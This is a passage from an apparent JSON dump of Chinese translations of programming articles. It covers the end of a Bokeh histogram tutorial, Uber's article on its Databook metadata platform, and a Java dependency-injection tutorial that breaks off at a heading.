中使用正确的格式创建另一列。例如，如果我希望我的工具提示显示给定条的整个隔间，我会在数据框中创建一个格式化列：\n\n```Python\n# 添加一个列，显示每个间隔的范围\ndelays['f_interval'] = ['%d to %d minutes' % (left, right) for left, right in zip(delays['left'], delays['right'])]\n```\n\n然后，我将 dataframe 转换为 CloumnDataSource，并在 HoverTool 调用中访问该列。下面的代码使用引用两个格式化列的悬停工具创建绘图，把那个将该工具添加到绘图中。\n\n```Python\n# 创建一个空白绘图\np = figure(plot_height = 600, plot_width = 600, \n           title = 'Histogram of Arrival Delays',\n          x_axis_label = 'Delay (min)]', \n           y_axis_label = 'Number of Flights')\n\n# 这次，添加带有源的 quad glyph\np.quad(bottom=0, top='flights', left='left', right='right', source=src,\n       fill_color='red', line_color='black', fill_alpha = 0.75,\n       hover_fill_alpha = 1.0, hover_fill_color = 'navy')\n\n# 添加引用格式化列的悬停工具\nhover = HoverTool(tooltips = [('Delay', '@f_interval'),\n                             ('Num of Flights', '@f_flights')])\n\n# 绘图样式\np = style(p)\n\n# 将悬停工具添加到图中\np.add_tools(hover)\n\n# 显示绘图\nshow(p)\n```\n\n在 Bokeh 样式中，我们以添加元素至原始的图中来将元素添加到表中。请注意，在 `p.quad` glyph 调用中，有几个额外的参数 `hover_fill_alpha` 和 `hover_fill_color`，当我们的鼠标移动到条图形时，这些参数会改变 glyph 的样式。我还添加了 `style` 函数（可在笔记中查看相关代码）。审美过程很无聊，所以通常我会写一个应用于任何绘图的函数。当我使用样式时，我会保持简单并专注于标签的可读性。绘图的主要目的是显示数据，添加不必要的元素只会[降低绘图的可用性](https://en.wikipedia.org/wiki/Chartjunk)！最后的绘图如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*3r9Ti_GFbByXTwamtq6jwA.png)\n\n当我们的鼠标滑过不同的词条时，会得到该词条精确的统计数据，它表示间隔以及在该间隔内飞行的次数。如果对绘图比较满意，可以将其保存到 html 文件中进行共享：\n\n```Python\n# 导入保存函数\nfrom bokeh.io import output_file\n\n# 指定输出文件并保存\noutput_file('hist.html')\nshow(p)\n```\n\n### 展望与总结\n\n为了获取 Bokeh 的工作流程，我制作了很多次绘图，所以如果这看起来有很多东西要学的时候，不要担心。在本系列教程中，我们将得到更多的练习！虽然Bokeh 看起来似乎有很多工作要做，但是当我们想要将我们的视觉效果扩展到简单的静态图像之外的时候，它的好处就不言而喻了。一旦我们有了基本的图，我们就可以通过增加更多的元素来提高视觉效果。例如，如果我们想查看航空公司的延迟到达，我们可以制作一个交互式图，让用户选择和比较航空公司。我们将把主动交互（那些更改显示数据的交互）留到下一篇文章中，但下面是我们目前可以做的事情：\n\n![](https://cdn-images-1.medium.com/max/800/1*avjUF5lUF-eYGs-N7OBPOg.gif)\n\n主动交互需要编写更多的脚本，但这给了我们可以使用 Python 的机会！（如果有人想在下一篇文章之前看一下绘图的代码[可以在这里进行查看](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/blob/master/interactive/histogram.py)。)\n\n在本系列文章中，我想强调的是，Boken 或者任何一个库工具永远都不会是满足所有绘图需求的一站式解决工具。Bokeh 允许用户研究绘图，但对于其他应用，像简单的[探索性数据分析](https://en.wikipedia.org/wiki/Exploratory_data_analysis)，`matplotlib` 这样的轻量级库可能会更高效。本系列旨在为你提供绘图工具的另一种选择，这需要更加需求来进行抉择。你知道的库越多，就越能高效地使用可视化工具完成任务。\n\n我一直以来都非常欢迎那些具有建设性的批评和反馈。你们可以在 Twitter [@koehrsen_will](http://twitter.com/@koehrsen_will) 上联系到我。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/databook-turning-big-data-into-knowledge-with-metadata-at-uber.md",
    "content": "> * 原文地址：[Databook: Turning Big Data into Knowledge with Metadata at Uber](https://eng.uber.com/databook/)\n> * 原文作者：[Luyao Li, Kaan Onuk and Lauren Tindal](https://eng.uber.com/databook/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/databook-turning-big-data-into-knowledge-with-metadata-at-uber.md](https://github.com/xitu/gold-miner/blob/master/TODO1/databook-turning-big-data-into-knowledge-with-metadata-at-uber.md)\n> * 译者：[cf020031308](https://github.com/cf020031308)\n> * 校对者：[yqian1991](https://github.com/yqian1991)\n\n# Databook：通过元数据，Uber 将大数据转化为知识\n\n![](https://i.loli.net/2018/08/16/5b751c9f4474b.png)\n\n从司机与乘客的位置和目的地，到餐馆的订单和支付交易，Uber 的运输平台上的每次互动都是由数据驱动的。数据赋能了 Uber 的全球市场，使我们面向全球乘客、司机和食客的产品得以具备更可靠、更无缝的用户体验，并使我们自己的员工能够更有效地完成工作。\n\n凭借系统的复杂性和数据的广泛性，Uber 将数据驱动提升到了一个新的水平：每天处理万亿级的 Kafka 消息，横跨多个数据中心的 [HDFS](https://eng.uber.com/scaling-hdfs/) 中存储着数百 PB 的数据，并支持每周上百万的分析查询。\n\n然而大数据本身并不足以形成见解。Uber 规模的数据要想被有效且高效地运用，还需要结合背景信息来做业务决策，这才能形成见解。为此我们创建了 Uber 的内部平台 Databook，该平台用于展示和管理具体数据集的有关内部位置和所有者的元数据，从而使我们能够将数据转化为知识。\n\n### 业务（和数据）的指数增长\n\n自 2016 年以来，Uber 的平台上已增加了多项新业务，包括 [Uber Eats](https://www.ubereats.com/)、[Uber Freight](https://freight.uber.com/)，以及 [Jump Bikes](https://jumpbikes.com/)。如今，我们每天至少完成 1500 万次行程，每月活跃有超过 7500 万乘客。在过去的八年中，Uber 已从一家小型创业公司发展到在全球拥有 18,000 名员工。\n\n随着这种增长，数据系统和工程架构的复杂性也增加了。例如有数万张表分散在多个在役的分析引擎中，包括 [Hive](https://hive.apache.org/)、[Presto](https://eng.uber.com/presto/) 和 [Vertica](https://www.vertica.com/)。这种分散导致我们急需了解信息的全貌，特别是我们还在不断添加新业务和新员工。 2015 年的时候，Uber 开始手动维护一些静态 HTML 文件来对表进行索引。\n\n随着公司发展，要更新的表和相关元数据的量也在增长。为确保我们的数据分析能跟上，我们需要一种更加简便快捷的方式来做更新。在这种规模和增长速度下，有个能发现所有数据集及其相关元数据的强大系统简直不要太赞：它绝对是让 Uber 数据能利用起来的必备品。\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image6.png)](http://eng.uber.com/wp-content/uploads/2018/08/image6.png)\n\n图 1：Databook 是 Uber 的内部平台，可以展示和管理数据有关内部位置和所有者的元数据。\n\n为使数据集的发现和探索更容易，我们创建了 Databook。 Databook 平台管理和展示着 Uber 中丰富的数据集元数据，使我们员工得以探索、发现和有效利用 Uber 的数据。 Databook 确保数据的背景信息 —— 它的意义、质量等 —— 能被成千上万试图分析它的人接触到。简而言之，Databook 的元数据帮助 Uber 的工程师、数据科学家和运营团队将此前只能干看的原始数据转变为可用的知识。\n\n通过 Databook，我们摒弃了手动更新，转为使用一种先进的自动化元数据库来采集各种经常刷新的元数据。Databook 具有以下特性：\n\n*   **拓展性：** 易于添加新的元数据、存储和记录。\n*   **访问性：** 所有元数据可被服务以程序方式获取。\n*   **扩展性：** 支持高通量读取。\n*   **功能性：** 跨数据中心读写。\n\nDatabook 提供了各种各样的元数据，这些元数据来自 Hive、Vertica、[MySQL](https://eng.uber.com/mysql-migration/)、[Postgres](https://www.postgresql.org/)、[Cassandra](http://cassandra.apache.org/) 和其他几个内部存储系统，包括：\n\n*   表模式\n*   表/列的说明\n*   样本数据\n*   统计数据\n*   上下游关系\n*   表的新鲜度、SLA 和所有者\n*   个人数据分类\n\n所有的元数据都可以通过一个中心化的 UI 和 [RESTful API](https://restfulapi.net/) 来访问到。 UI 使用户可以轻松访问到元数据，而 API 则使 Databook 中的元数据能被 Uber 的其他服务和用例使用。\n\n虽说当时已经有了像 LinkedIn 的 [WhereHows](https://github.com/linkedin/WhereHows/wiki) 这种开源解决方案，但在 Databook 的开发期间，Uber 还没有采用 [Play 框架](https://www.playframework.com/)和 [Gradle](https://gradle.org/)（译者注：两者为 WhereHows 的依赖）。 且 WhereHows 缺乏跨数据中心读写的支持，而这对满足我们的性能需求至关重要。因此，利用 Java 本身强大的功能和成熟的生态系统，我们创建了自己内部的解决方案。\n\n接下来，我们将向您介绍我们创建 Databook 的过程以及在此过程中我们遇到的挑战。\n\n### Databook 的架构\n\nDatabook 的架构可以分为三个部分：采集元数据、存储元数据以及展示元数据。下面图 2 描绘的是该工具的整体架构：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image4.png)](http://eng.uber.com/wp-content/uploads/2018/08/image4.png)\n\n图 2：Databook 架构：元数据从 Vertica、Hive 和其他存储系统中获取，存储到后端数据库，通过 RESTful API 输出。\n\nDatabook 引入多个数据源作为输入，存储相关元数据并通过 RESTful API 输出（Databook 的 UI 会使用这些 API）。\n\n在初次设计 Databook 时，我们就必须做出一个重大的决定，是事先采集元数据存起来，还是等到要用时现去获取？我们的服务需要支持高通量和低延迟的读取，如果我们将此需求托付给元数据源，则所有元数据源都得支持高通量和低延迟的读取，这会带来复杂性和风险。比如，获取表模式的 Vertica 查询通常要处理好几秒，这并不适合用来做可视化。同样，我们的 Hive metastore 管理着所有 Hive 的元数据，令其支持高通量读取请求会有风险。既然 Databook 支持许多不同的元数据源，我们就决定将元数据存储在 Databook 自身的架构中。此外，大多数用例虽然需要新鲜的元数据，但并不要求实时看到元数据的更改，因此定期爬取是可行的。\n\n我们还将请求服务层与数据采集层分开，以使两者能运行在独立的进程中，如下面的图 3 所示：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image11.png)](http://eng.uber.com/wp-content/uploads/2018/08/image11.png)\n\n图 3：Databook 由两个不同的应用层组成：数据采集爬虫和请求服务层。\n\n两层隔离开可减少附带影响。例如，数据采集爬虫作业可能占用较多的系统资源，没隔离就会影响到请求服务层上 API 的 SLA。另外，与 Databook 的请求服务层相比，数据采集层对中断不太敏感，如果数据采集层挂掉，可确保仍有之前的元数据能提供，从而最大限度地减少对用户的影响。\n\n### 事件驱动采集 vs 定时采集\n\n我们的下一个挑战是确定如何最且成效且最高效地从多种不同数据源采集元数据。我们考虑过多种方案，包括创建一个分布式的容错框架，利用基于事件的数据流来近乎实时地检测和调试问题。\n\n我们先创建了爬虫来定期采集各种数据源和微服务生成的有关数据集的元数据信息，例如表的使用数据统计，它由我们用于解析和分析 SQL 的强大开源工具 [Queryparser](https://eng.uber.com/queryparser/) 生成。**（顺带一提：Queryparser 也由我们的“数据知识平台”团队创建）。**\n\n我们需要以可扩展的方式频繁采集元数据信息，还不能阻塞到其他的爬虫任务。为此，我们将爬虫部署到了不同的机器，这就要求分布式的爬虫之间能进行有效协调。我们考虑配置 [Quartz](http://www.quartz-scheduler.org/) 的集群模式（由 MySQL 支持）来做分布式调度。但是，却又面临两个实现上的障碍：首先，在多台机器上以集群模式运行 Quartz 需要石英钟的定期[同步](http://www.quartz-scheduler.org/documentation/quartz-2.2.x/configuration/ConfigJDBCJobStoreClustering.html)，这增加了外部依赖，其次，在启动调度程序后我们的 MySQL 连接就一直不稳定。最后，我们排除了运行 Quartz 集群的方案。\n\n但是，我们仍然决定使用 Quartz，以利用其强大的内存中调度功能来更轻松、更高效地向我们的任务队列发布任务。对于 Databook 的任务队列，我们用的是 Uber 的开源任务执行框架 [Cherami](https://eng.uber.com/cherami/)。这个开源工具让我们能在分布式系统中将消费程序解耦，使其能跨多个消费者群组进行异步通信。有了 Cherami，我们将 Docker 容器中的爬虫部署到了不同的主机和多个数据中心。使用 Cherami 使得从多个不同来源采集各种元数据时不会阻塞任何任务，同时让 CPU 和内存的消耗保持在理想水平并限制在单个主机中。\n\n尽管我们的爬虫适用于大多数元数据类型，但有一些元数据还需要近乎实时地获取，所以我们决定过渡到基于 Kafka 的事件驱动架构。有了这个，我们就能及时检测和调试数据中断。我们的系统还可以捕获元数据的重大变动，例如数据集上下游关系和新鲜度，如下面的图 4 所示：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image5.png)](http://eng.uber.com/wp-content/uploads/2018/08/image5.png)\n\n图 4：在 Databook 中，对每个表采集上下游关系/新鲜度元数据。\n\n这种架构使我们的系统能够以程序方式触发其他微服务并近乎实时地向数据用户发送信息。但我们仍需使用我们的爬虫执行诸如采集/刷新样本数据的任务，以控制对目标资源的请求频率，而对于在事件发生时不一定需要采集的元数据（比如数据集使用情况统计）则自动触发其他系统。\n\n除了近乎实时地轮询和采集元数据之外，Databook UI 还从使用者和生产者处采集数据集的说明、语义，例如表和列的描述。\n\n### 我们如何存储元数据\n\n在 Uber，我们的大多数数据管道都运行在多个集群中，以实现故障转移。因此，同一张表的某些类型的元数据的值（比如延迟和使用率）可能因集群的不同而不同，这种数据被定义为集群相关。相反，从用户处采集的说明元数据与集群无关：描述和所有权信息适用于所有集群中的同一张表。 为了正确关联这两种类型的元数据，例如将列描述与所有集群中的表列相关联，可以采用两种方案：写时关联或读时关联。\n\n##### 写时关联\n\n将集群相关的元数据与集群无关的元数据相关联时，最直接的策略是在写入期间将元数据关联在一起。例如，当用户给某个表列添加描述时，我们就将信息保存到所有集群的表中，如下面的图 5 所示：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image3.png)](http://eng.uber.com/wp-content/uploads/2018/08/image3.png)\n\n图 5：Databook 将集群无关的元数据持久化保存到所有表中。\n\n这方案可确保持久化数据保持整洁。例如在图 5 中，如果“列 1”不存在，该集群就会拒绝该请求。但这存在一个重要的问题：在写入时将集群无关的元数据关联到集群相关的元数据，所有集群相关的元数据必须已经存在，这在时间上只有一次机会。例如，当在图 5 中改动表列描述时，还只有集群 1 有此“列 1”，则集群 2 的写入失败。之后，集群 2 中同一个表的模式被更新，但已错失机会，除非我们定期重试写入，否则此描述将永远不可用，这导致系统复杂化。下面图 6 描述了这种情况：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image9.png)](http://eng.uber.com/wp-content/uploads/2018/08/image9.png)\n\n图 6：Databook 将集群无关的元数据持久保存到所有表中。\n\n##### 读时关联\n\n实现目标的另一种方案是在读取时关联集群无关和集群相关的元数据。由于这两种元数据是在读取时尝试关联，无所谓集群相关的元数据一时是否存在，因此这方案能解决写时关联中丢失元数据的问题。当表模式更新后显示“列 1”时，其描述将在用户读取时被合并，如下面图 7 所示：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image10.png)](http://eng.uber.com/wp-content/uploads/2018/08/image10.png)\n\n图 7：Databook 在读取时关联集群相关和集群无关的元数据。\n\n##### 存储选择\n\nDatabook 后端最初是使用 MySQL，因为它开发速度快，可以通过 Uber 的基础设施自动配置。但是，当涉及多数据中心支持时，共享 MySQL 集群并不理想，原因有三：\n\n*   单个主节点：首先，Uber 仅支持单个主节点，导致其他数据中心的写入时间较慢（我们这情况每次写入增加约 70ms）。\n*   手动提权：其次，当时不支持自动提权。因此，如果主节点挂掉，要花数小时才能提升一个新的主节点。\n*   数据量：我们弃用 MySQL 的另一个原因是 Uber 所产生的大量数据。我们打算保留所有历史变更，并希望我们的系统支持未来扩展，而无需在集群维护上花费太多时间。\n\n出于这些原因，我们选择 Cassandra 来取代 MySQL，因为它具有强大的 XDC 复制支持，允许我们从多个数据中心写入数据而不会增加延迟。而且由于 Cassandra 具有线性可扩展性，我们不再需要担心适应 Uber 不断增长的数据量。\n\n### 我们如何展示数据\n\nDatabook 提供了两种访问元数据的主要方法：RESTful API 和可视化 UI。Databook 的 RESTful API 用 [Dropwizard](https://www.dropwizard.io/)（一个用于高性能 RESTful Web 服务的 Java 框架）开发，并部署在多台计算机上，由 Uber 的内部请求转发服务做负载平衡。\n\n在 Uber，Databook 主要用于其他服务以程序方式访问数据。例如，我们的内部查询解析/重写服务依赖于 Databook 中的表模式信息。API 可以支持高通量读取，并且可以水平扩展，当前的每秒查询峰值约为 1,500。可视化 UI 由 React.js 和 Redux 以及 D3.js 编写，主要服务于整个公司的工程师、数据科学家、数据分析师和运营团队，用以分流数据质量问题并识别和探索相关数据集。\n\n##### 搜索\n\n搜索是 Databook UI 的一项重要功能，它使用户能够轻松访问和导航表元数据。我们使用 Elasticsearch 作为我们的全索引搜索引擎，它从 Cassandra 同步数据。如下面图 8 所示，使用 Databook，用户可结合多个维度搜索，例如名称、所有者、列和嵌套列，从而实现更及时、更准确的数据分析：\n\n[![](https://eng.uber.com/wp-content/uploads/2018/08/image1.png)](http://eng.uber.com/wp-content/uploads/2018/08/image1.png)\n\n图 8：Databook 允许用户按不同的维度进行搜索，包括名称、所有者和列。\n\n### Databook 的新篇章\n\n通过 Databook，Uber 现在的元数据比以往更具可操作性和实用性，但我们仍在努力通过建造新的、更强大的功能来扩展我们的影响力。我们希望为 Databook 开发的一些功能包括利用机器学习模型生成数据见解的能力，以及创建高级的问题检测、预防和缓解机制。\n\n如果结合内部和开源解决方案建立可扩展的智能服务并开发有创意的复杂技术对您来说有吸引力，请联系 Zoe Abrams（[za@uber.com](mailto:za@uber.com)）或申请我们团队的[职位](https://www.uber.com/careers/list/29589/)！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/decouple-your-code-with-dependency-injection.md",
    "content": "> * 原文地址：[Decouple Your Code With Dependency Injection](https://medium.com/better-programming/decouple-your-code-with-dependency-injection-d893ae9edcf8)\n> * 原文作者：[Ben Weidig](https://medium.com/@benweidig)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/decouple-your-code-with-dependency-injection.md](https://github.com/xitu/gold-miner/blob/master/TODO1/decouple-your-code-with-dependency-injection.md)\n> * 译者：[江不知](https://juejin.im/user/5ae03306f265da0b702592d1)\n> * 校对者：[GJXAIOU](https://github.com/GJXAIOU), [司徒公子](https://github.com/stuchilde)\n\n# 用依赖注入解耦你的代码\n\n> 无需第三方框架\n\n![[Icons8 团队](https://unsplash.com/@icons8?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 摄于 [Unsplash](https://unsplash.com/s/photos/ingredients?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/12032/1*PfS1KYIt9IIDZTIyIIfMsQ.jpeg)\n\n没有多少组件是能够独立存在而不依赖于其它组件的。除了创建紧密耦合的组件，我们还可以利用**依赖注入**（DI）来改善 [关注点的分离](https://en.wikipedia.org/wiki/Separation_of_concerns)。\n\n这篇文章将会脱离第三方框架向你介绍依赖注入的核心概念。所有的示例代码都将使用 Java，但所介绍的一般原则也适用于其它任何语言。\n\n---\n\n## 示例：数据处理器\n\n为了让如何使用依赖注入更加形象化，我们将从一个简单的类型开始：\n\n```Java\npublic class DataProcessor {\n\n    private final DbManager manager = new SqliteDbManager(\"db.sqlite\");\n    private final Calculator calculator = new HighPrecisionCalculator(5);\n\n    public void processData() {\n        this.manager.processData();\n    }\n\n    public BigDecimal calc(BigDecimal input) {\n        return this.calculator.expensiveCalculation(input);\n    }\n}\n```\n\n`DataProcessor` 有两个依赖项：`DbManager` 和 `Calculator`。直接在我们的类型中创建它们有几个明显的缺点：\n\n* 调用构造函数时可能发生崩溃\n* 构造函数签名可能会改变\n* 紧密绑定到显式实现类型\n\n是时候改进它了！\n\n---\n\n## 依赖注入\n\n[**《敏捷开发的艺术》**](https://www.amazon.com/Art-Agile-Development-Pragmatic-Software/dp/0596527675) 的作者 James Shore [很好地指出](https://www.jamesshore.com/Blog/Dependency-Injection-Demystified.html)：\n\n> **「依赖注入听起来复杂，实际上它的概念却十分简单。」**\n\n依赖注入的概念实际上非常简单：为组件提供完成其工作所需的一切。\n\n通常，这意味着通过从外部提供组件的依赖关系来解耦组件，而非直接在组件内创建依赖，让组件间过度耦合。\n\n我们可以通过多种方式为实例提供必要的依赖关系：\n\n* 构造函数注入\n* 属性注入\n* 方法注入\n\n#### 构造函数注入\n\n构造函数注入，或称基于初始化器的依赖注入，意味着在实例初始化期间提供所有必需的依赖项，将其作为构造函数的参数：\n\n```Java\npublic class DataProcessor {\n\n    private final DbManager manager;\n    private final Calculator calculator;\n\n    public DataProcessor(DbManager manager, Calculator calculator) {\n        this.manager = manager;\n        this.calculator = calculator;\n    }\n\n    // ...\n}\n```\n\n由于这一简单的改变，我们可以弥补大多数最开始的缺点：\n\n* 易于替换：`DbManager` 和 `Calculator` 不再被具体的实现所束缚，现在可以模拟单元测试了。\n* 已经初始化并且「准备就绪」：我们不必担心依赖项所需要的任何子依赖项（例如，数据库文件名、[有效数字（译者注）](https://zh.wikipedia.org/wiki/%E6%9C%89%E6%95%88%E6%95%B0%E5%AD%97)等），也不必担心它们可在初始化期间发生崩溃的可能性。\n* 强制要求：调用方确切地知道创建 `DataProcessor` 的所需内容。\n* 不变性：依赖关系始终如初。\n\n尽管构造函数注入是许多依赖注入框架的首选方法，但它也有明显的缺点。其中最大的缺点是：必须在初始化时提供所有依赖项。\n\n有时，我们无法自己初始化一个组件，或者在某个时刻我们无法提供组件的所有依赖关系。或者我们需要使用另外一个构造函数。一旦设置了依赖项，我们就无法再改变它们了。\n\n但是我们可以使用其它注入类型来缓解这些问题。\n\n#### 属性注入\n\n有时，我们无法访问类型实际的初始化方法，只能访问一个已经初始化的实例。或者在初始化时，所需要的依赖关系并不像之后那样明确。\n\n在这些情况下，我们可以使用**属性注入**而不是依赖于构造函数：\n\n```Java\npublic class DataProcessor {\n\n    public DbManager manager = null;\n    public Calculator calculator = null;\n\n    // ...\n\n    public void processData() {\n        // WARNING: Possible NPE\n        this.manager.processData();\n    }\n\n    public BigDecimal calc(BigDecimal input) {\n        // WARNING: Possible NPE\n        return this.calculator.expensiveCalculation(input);\n    }\n}\n```\n\n我们不再需要构造函数了，在初始化后我们可以随时提供依赖项。但这种注入方式也有缺点：**易变性**。\n\n在初始化后，我们不再保证 `DataProcessor` 是「随时可用」的。能够随意更改依赖关系可能会给我们带来更大的灵活性，但同时也会带来运行时检查过多的缺点。\n\n现在，我们必须在访问依赖项时处理出现 `NullPointerException` 的可能性。\n\n#### 方法注入\n\n即使我们将依赖项与构造函数注入与/或属性注入分离，我们也仍然只有一个选择。如果在某些情况下我们需要另一个 `Calculator` 该怎么办呢？\n\n我们不想为第二个 `Calculator` 类添加额外的属性或构造函数参数，因为将来可能会出现第三个这样的类。而且在每次调用 `calc(...)` 前更改属性也不可行，并且很可能因为使用错误的属性而导致 bug。\n\n更好的方法是参数化调用方法本身及其依赖项：\n\n```Java\npublic class DataProcessor {\n\n    // ...\n\n    public BigDecimal calc(Calculator calculator, BigDecimal input) {\n        return calculator.expensiveCalculation(input);\n    }\n}\n```\n\n现在，`calc(...)` 的调用者负责提供一个合适的 `Calculator` 实例，并且 `DataProcessor` 类与之完全分离。\n\n通过混合使用不同的注入类型来提供一个默认的 `Calculator`，这样可以获得更大的灵活性：\n\n```Java\npublic class DataProcessor {\n\n    // ...\n\n    private final Calculator defaultCalculator;\n    \n    public DataProcessor(Calculator calculator) {\n        this.defaultCalculator = calculator;\n    }\n\n    // ...\n\n    public BigDecimal calc(Calculator calculator, BigDecimal input) {\n        return Optional.ofNullable(calculator)\n                       .orElse(this.calculator)\n                       .expensiveCalculation(input);\n    }\n}\n```\n\n调用者**可以**提供另一种类型的 `Calculator`，但这不是**必须**的。我们仍然有一个解耦的、随时可用的 `DataProcessor`，它能够适应特定的场景。\n\n## 选择哪种注入方式？\n\n每种依赖注入类型都有自己的优点，并没有一种「正确的方法」。具体的选择完全取决于你的实际需求和情况。\n\n#### 构造函数注入\n\n构造函数注入是我的最爱，它也常受依赖注入框架的青睐。\n\n它清楚地告诉我们创建特定组件所需的所有依赖关系，并且这些依赖不是可选的，这些依赖关系在整个组件中应该都是必需的。\n\n#### 属性注入\n\n属性注入更适合可选参数，例如监听或委托。又或是我们无法在初始化时提供依赖关系。\n\n其它编程语言，例如 Swift，大量使用了带属性的 [委托模式](https://en.wikipedia.org/wiki/Delegation_pattern)。因此，使用属性注入将使其它语言的开发人员更熟悉我们的代码。\n\n#### 方法注入\n\n如果在每次调用时依赖项可能不同，那么使用方法注入最好不过了。方法注入进一步解耦组件，它使方法本身持有依赖项，而非整个组件。\n\n请记住，这不是非此即彼。我们可以根据需要自由组合各种注入类型。\n\n## 控制反转容器\n\n这些简单的依赖注入实现可以覆盖很多用例。依赖注入是很好的解耦工具，但事实上我们仍然需要在某些时候创建依赖项。\n\n但随着应用程序和代码库的增长，我们可能还需要一个更完整的解决方案来简化依赖注入的创建和组装过程。\n\n**控制反转**（IoC）是 [控制流](https://en.wikipedia.org/wiki/Control_flow) 的抽象原理。依赖注入是控制反转的具体实现之一。\n\n**控制反转容器**是一种特殊类型的对象，它知道如何实例化和配置其它对象，它也知道如何帮助你执行依赖注入。\n\n有些容器可以通过反射来检测关系，而另一些必须手动配置。有些容器基于运行时，而有些则在编译时生成所需要的所有代码。\n\n比较所有容器的不同之处超出了本文的讨论范围，但是让我通过一个小示例来更好地理解这个概念。\n\n#### 示例: Dagger 2\n\n[Dagger](https://dagger.dev/) 是一个轻量级、编译时进行依赖注入的框架。我们需要创建一个 `Module`，它就知道如何构建我们的依赖项，稍后我们只要添加 `@Inject` 注释就可以注入这个 `Module`。\n\n```Java\n@Module\npublic class InjectionModule {\n\n    @Provides\n    @Singleton\n    static DbManager provideManager() {\n        return manager;\n    }\n\n    @Provides\n    @Singleton\n    static Calculator provideCalculator() {\n        return new HighPrecisionCalculator(5);\n    }\n}\n```\n\n`@Singleton` 确保只能创建一个依赖项的实例。\n\n要注入依赖项，我们只需要将 `@Inject` 添加到构造函数、字段或方法中。\n\n```Java\npublic class DataProcessor {\n\n    @Inject\n    DbManager manager;\n    \n    @Inject\n    Calculator calculator;\n\n    // ...\n}\n```\n\n这些仅仅是一些基础知识，乍一看不可能会给人留下深刻的印象。但是控制反转容器和框架不仅解耦了组件，也让创建依赖关系的灵活性得以最大化。\n\n由于提供了高级特性，创建过程的可配置性变得更强，并且支持了使用依赖项的新方法。\n\n#### 高级特性\n\n这些特性在不同类型的控制反转容器和底层语言之间差异很大，比如：\n\n* [代理模式](https://en.wikipedia.org/wiki/Proxy_pattern) 和延迟加载。\n* 生命周期（例如：单例模式与每个线程一个实例）。\n* 自动绑定。\n* 单一类型的多种实现。\n* 循环依赖。\n\n这些特性是控制反转容器真正的能力。你可能会认为诸如「循环依赖」这样的特性并非好的主意，确实如此。\n\n但是，如果由于遗留代码或是过去不可更改的错误设计而需要这种奇怪的代码构造，那么我们现在有能力可以这样做。\n\n## 总结\n\n我们应该根据抽象（例如接口）而不是具体的实现来设计代码，这样可以帮助我们减少代码耦合。\n\n接口必须提供我们代码所需要的唯一信息，我们不能对实际实现情况做任何假设。\n\n> **「程序应当依赖抽象，而非具体的实现」**\n> —— Robert C. Martin (2000), 《设计原则与设计模式》\n\n依赖注入是通过解耦组件来实现这一点的好办法。它使我们能够编写更简洁明了、更易于维护和重构的代码。\n\n选择三种依赖注入类型中的哪种很大程度上取决于环境和需求，但是我们也可以混合使用三种类型使收益最大化。\n\n控制反转容器有时几乎以一种神奇的方式通过简化组件创建过程来提供另一种便利的布局。\n\n我们应该处处使用它吗？当然不是。\n\n就像其它模式和概念一样，我们应该在适当的时候应用它们，而不是能用则用。\n\n永远不要把自己局限在一种做事的方式上。也许 [工厂模式](https://en.wikipedia.org/wiki/Factory_method_pattern) 甚至是广为厌恶的 [单例模式](https://en.wikipedia.org/wiki/Singleton_pattern) 是能够满足你需求的更好的解决方案。\n\n---\n\n## 资料\n\n* [控制反转容器与依赖注入模式](https://www.martinfowler.com/articles/injection.html) (Martin Fowler)\n* [依赖反转原则](https://en.wikipedia.org/wiki/Dependency_inversion_principle)（维基百科）\n* [控制反转](https://en.wikipedia.org/wiki/Inversion_of_control)（维基百科）\n\n---\n\n## 控制反转容器\n\n#### 